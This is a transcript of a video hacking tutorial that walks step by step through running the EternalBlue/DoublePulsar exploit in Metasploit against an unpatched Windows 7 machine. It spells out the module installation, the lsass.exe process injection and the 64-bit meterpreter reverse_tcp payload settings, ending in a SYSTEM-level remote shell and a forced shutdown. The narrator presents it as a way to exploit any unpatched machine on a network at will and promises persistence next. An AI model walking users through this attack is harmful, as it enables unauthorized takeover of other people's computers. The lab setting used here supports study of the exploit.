Hello everybody and welcome back. And finally we get to the eternalblue
exploit developed by the NSA. Now as I said before, this is an exploit for the Windows 7
machine. So you will need to download the Windows 7 machine first. Now the link
where I downloaded it from is this one. I will just type it right here so you can
use the same link. It comes with both the 64-bit and 32-bit version. You can
download any of those you want. Now I will not be going through the
installation of Windows 7 since it is rather simple. You just
follow the steps and it will work for you. The link where I downloaded it from
is this one, so https://bit.ly/2wppApz https://bit.ly/2wppApz. And if
you go to that link, let us just let this load, it should give you an option to
download both the 64-bit and 32-bit windows 7 operating system. So here it is. As we
can see, it will lead you to this page right here. You scroll down and you can
choose each one, either one of these two. It is the size of 3.09 gigabytes for the
64, or the 32-bit version is 2.38 gigabytes. Now in this tutorial I will
use the 64-bit version of Windows 7, but both of these will work as well. Now if
you have for example a VirtualBox machine with the Windows Server 2008, that one
will work as well. So let's see how to get this to run. So what you want to do,
let me just zoom this in, if you go to the msfconsole you will see that there
actually are already some eternal blue exploits in it. But what we want to do is
actually download one from github, since that one will actually allow us to get
the meterpreter shell back. There is one called the eternal blue in the
Metasploit framework. It basically comes pre-installed. But, that
one only gives you back the command shell.
It doesn't give you back the meterpreter shell with all the
options that the meterpreter comes with. So we want to get the most of it, so we
will download the eternal blue double pulsar on github. And we will add it to
the Metasploit framework database and we will be able to use it. So if I search
here search eternalblue, you will see, now I need to unzoom this so it doesn't
look this ugly, you will see that we have two auxiliary modules right here. One of
them is a scanner, so basically it will scan the Machine and check if the
machine is vulnerable to the attack, and these three right here will actually
attack the machine itself. So the first one works on Windows 7. The second
one, well basically this one it says if I use it, if I use the internal blue
Windows 8 edition copy and paste it, and then show targets for this,
it says windows 64. Now if I show info as well it will say that basically it will
say that this also works on the Windows 10, which I highly doubt. As we can see,
enternal blue exploit for Windows 8, Windows 10 and Windows Server 2012 by
sleepya. The exploit might fail and crash a target system depended on what is
overwritten. The exploit support only x64 target tested on Windows 2012. So it is
tested on Windows 10, Windows 8.1 and Windows 2012. But if you show
options, I might be doing something wrong, but the the only required spot right
here is set RHOST to 192. 168.1.3 which
is the IP address of my windows 10 machine. Let me just check it out real
quick. So type ifconfig, and we can see the .1.3 indeed is the IP
address of my target machine. Now as it says right here, this exploits on port
445, which by the installation of Windows 7, for example, already comes open by
default. So most of the targets that actually didn't update their
Windows 7 will still be vulnerable to this attack. Now about Windows 8 and
Windows 10, I'm not really sure. Since, for example, if I show you -sV -p 445
on my Windows 10 machine, and if I nmap it, it will say that the port is open.
It will give us the version so the port really is open. But this exploit right
here probably only works for the almost never updated Windows 10 machines. Now
I have the 445 port open, but if I just run here exploit, let me set the payload
first. So set payload windows/x64/ since my target is 64 bit, meterpreter/
reverse_tcp. And I run this...and let me just check show options in order to see
if I need to setup the LHOST is the IP address of us, which is ifconfig, which
is up there. And if I exploit, you will see that this won't really work.
As it says right here, this exploit does not support this build. So this exploit right
here is only for this certain type of build, it will not work on some
Windows 10 machines. Well, on most of them it will not work. Especially on those
that regularly download their updates. So, you can check these several
eternalblue exploits right here. Let me just search them once again, search eternalblue.
You can check them if you want to but what we want to do right now
is download the extended one that will give us the meterpreter shell. So let us
do that right now. Go to Firefox, and where you want to go right now is search,
basically on the Google search bar, eternalblue doublepulsar github. And it
will lead us to the first link which is this EleventhPaths/Eternalblue-Doublepulsar-
Metasploit. We want to download this module into the /root
directory, so make sure that it is downloaded in the /root directory. We
will do that right now. What you want to do is the same thing as with
program that we use. So just copy the link we will go over this.
Then we go to the cd /root, we will print working directory in order to
make sure, and we git clone and then the eternalblure double pulsar .git. And
this will clone the program for us in our repository. Make sure that it indeed
is in the /root repository since it by default in the settings it will check
for that path. Now I will show you this later on, but for now just make sure
that you downloaded it from the root directory. So if I just up here
pwd /root, and ls, we can see that right now we have the eternalblue in
that repository. Now the next thing you want to do, and for that I will just
leave the Metasploit for a second, so what you want to do is find your
Metasploit path. So your Metasploit path, so just locate, type here locate
metasploit-framework. Now it is in the usr/share I believe. Yeah, it's in the
usr/share. And what you want to do once you find it, you want to copy the two
packets from the eternalblue. So let me just change my directory to the program
that we downloaded. You have this subdirectory right here, and you also
have this right here. What you want to do with these two is you want to copy them
to the modules in Metasploit framework, to the windows
exploits, then to the SMB exploits. So, let me just show you what I mean. What we
want to do is first change our directory to the usr/share/metasploit-framework,
then LS, cd modules/. Change to to exploits first,
then change to Windows, and then SMB. And right here we have all the modules or
all the exploits for the SMB protocol. As you can see there are the other eternal
blue protocols right here, here they are, and what we want to do is we want to add
these two files right here to this directory. So we just cp /root/
eternalblue which is the path to our program, and let's first copy the
directory. We want to copy it to usr/share/metasploit-framework/modules/exploits,
and then to the windows, and then smb. And -r for the directory so it copies the
directory. And if I just type here ls once again you can see it is right here.
And we also want to copy, so let us use the same command, but instead we want to
copy the eternalblue_doublepulsar
.ruby. So we copy that one as well and we can see now they are both in
this directory now. We will be able to access them within
the Metasploit framework command line or msfconsole. Now before we
start with that you need to make sure for one more thing that is running, and
that is the wine program. If you don't know what wine is I explained it
in some of the previous videos. I showed you how you can download it, and we also
downloaded Python with wine. So make sure to check out that video if you do not
have it. The wine path is, let me just close this so it doesn't bother us, so
the path is to root/.wine/drive_c. As we can see if you
remember from the previous videos, this is the path to our drive C folder, which
is the virtual Windows C folder, which has basically Windows files. As we can
see, Program Files x86 and Program Files. Now it is also important to know your
wine path since we will need to specify it in the attack, in the
target attacking. So right now that we did all that what you want to do is
change to root, first of all, and then run msfconsole. Now we should be good to
go and we should be able to use the eternalblue doublepulsar exploit. So
you will see how powerful this is. First of all, what you
to do is, in case you didn't, you want to install Windows 7,
since this only works on windows 7 and Server 2008. I already have it installed
right here and I followed all the steps. And also make sure that after you
install it, or not after towards the end of the installation, it will ask you
for the security measures of Windows 7.
Make sure to add no security measures and to not update it. Since if it
performs all of the updates it will perform the update for the eternalblue as
well, and then this will not work. So, make sure at the end, it will prompt you
with a question at the end asking that. You just make sure to not update at all
and you will be good to go. So I will just start up my windows 7. Hopefully
nothing goes slow because I am running two virtual machines right now. I gave
this one around 1.5 gigabytes of RAM, so we will see how that will go. I do not
have a password so we will just let this login. And while that is going, we want to
search exploit Windows, since that is the path that with SMB, and eternalblue
double pulsar. As we can see if you tab it, it will automatically find it since
we put it in the correct folder, or in the correct directory, which is the SMB
directory under windows, under exploits. So just click here enter. And if we
clear the screen and show all available options, we can see the things that we
need to specify in order to run this. Now make sure to notice that all of this is
required, so all of these specifications are required. This is the reason why I
told you that you copy the path into the root directory, since this is already
preset for the root directory. Now you could have changed it but it doesn't
really matter at the moment. We have eternalblue double pulsar in the root
directory, which is good. If we just check that, so PWD, we are in the root directory, LS,
and it still really is there. So that is good. Now let's show our options once
again. The next thing you want to specify is the project process to inject. Now if
you downloaded the 32-bit Windows 7 you should leave this process like this. if
you have a 64-bit Windows 7 version, you should change it to the lsass.exe
or to the explorer.exe. But the difference between these two is that the
explorer.exe won't give you the system privileges during the
exploitation. So we want to actually use this one right here. As it says, it is for
the 64-bit version. So we set PROCESSINJECT, and then we copy the process
name, and then we paste it. So it will set the process for us. As you can see in
show options, the process is currently set. The RHOST is basically the same as
in the all the previous exploits. It is basically the IP address of your windows
7 machine, so we will check that out right now. We have Windows 7 right here.
if I go there and type cmd for the command prompt...it is a little bit slow
since I'm running two machines at the time. But we will get used to it. So I
just type here ipconfig right here. The IP address of the Windows 7 machine is
.1.5. So, we need to know that, set RHOST 192.168.1.5. Now that we
set that, the next thing we want to change is the target architecture. The
out port should stay on 445 since the SMB service port is 445. But the target
architecture we want to change in case we downloaded the X64 bit version, and
we did. So we want to type here X64 instead of x86. Now if you downloaded once
again the 32 bit version, you should leave this on x86. So set
TARGETARCHITECTURE x64, and let's clear the screen and show our options once again
to see if everything is good. The wine path is correct since wine is stored
in /root/.wine/drive_c. Now the
targets, let's see show targets, it will say
the targets are all windows, basically, versions until Windows 7. So we can see
that we have Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008
and Windows 7 all packs. So, we select a target, so
SET target 8. I believe it something like
that. Or is it set targets, or possibly select target. Now I don't even
know, I maybe forgot this. Let's see this one. Ok, doesn't even matter. So I don't
know the syntax for this, but it is not really needed for us to type that in
order for this work. So, show options. Basically, it is already set for
windows 7, I don't know why I tried that, and right now we should be good to go.
But, one more thing to do is to set the payload. Now be careful since the payload
for Windows meterpreter reverse TCP will not work here if you have a 64-bit
Windows 7 that you are attacking. But if you have a 32-bit Windows 7 that you're
attacking, the meterpreter reverse TCP will work. For the 64-bit we need to set
the payload to be windows/x64/meterpreter and then
reverse_tcp. Since we are attacking Windows 7 64 bit we need to have the
windows 64-bit meterpreter shell. So show options, and we
set the LHOST. So LHOST is our IP address, so 192.168.1.4 I
believe, we clear the screen, and we run the attack. So exploit and we let this
run. As we can see, this is the entire attack, and just by typing exploit we
should be able to get the meterpreter session back.
It is launching the attack, as we can see eternalblue, so this will take a few
seconds. The attack is basically writing DLL in this root/wine/drive_c/eternal.dll
I believe. Eternal11.dll. And right now we should
be able to get the meterpreter shell back. Here it is. Launching double pulsar,
we got this session back. Now if you notice right here, if I just type here
getuid, you will see that basically we got this session to be system. So we with
a simple exploit command, without the targets having to click on anything or
download anything, we were able to exploit the target.
So with this exploit you can exploit any target that is currently connected to
the network that didn't update their Windows 7 for a long time. Since this
exploit is from I believe April 2017, anyone who didn't perform updates since
then, and trust me there are a lot of people who did who didn't, you will be
able to exploit them with the authority system privileges. And right now you can
do basically anything that we did in a previous video. So, for example, if you
wanted to you could just, let you just move this to the side, you could just shut
down their PC, or perform persistence, or something like that.
Now let us actually perform the persistence.
I'm not sure why this...it doesn't even matter. What we will do is we will
shut down the PC, so shut down, and you will see that this basically will shut
down their PC. It will kill our meterpreter session of course, but we
don't care. We can exploit the target whenever we want since the target
doesn't have to click on anything. We basically can just do whatever we
want to the target. So just click here exit, and we should be good to go.
Now in the next video I will show you how you can create a persistent
Metasploit or meterpreter reverse shell running on a target PC. Now by persistent
I mean that whenever the target restarts their system you will be able to connect
back to them as soon as they login. So that'll be about it for this video. I
hope you enjoyed it and I hope I see you in the next one. Bye!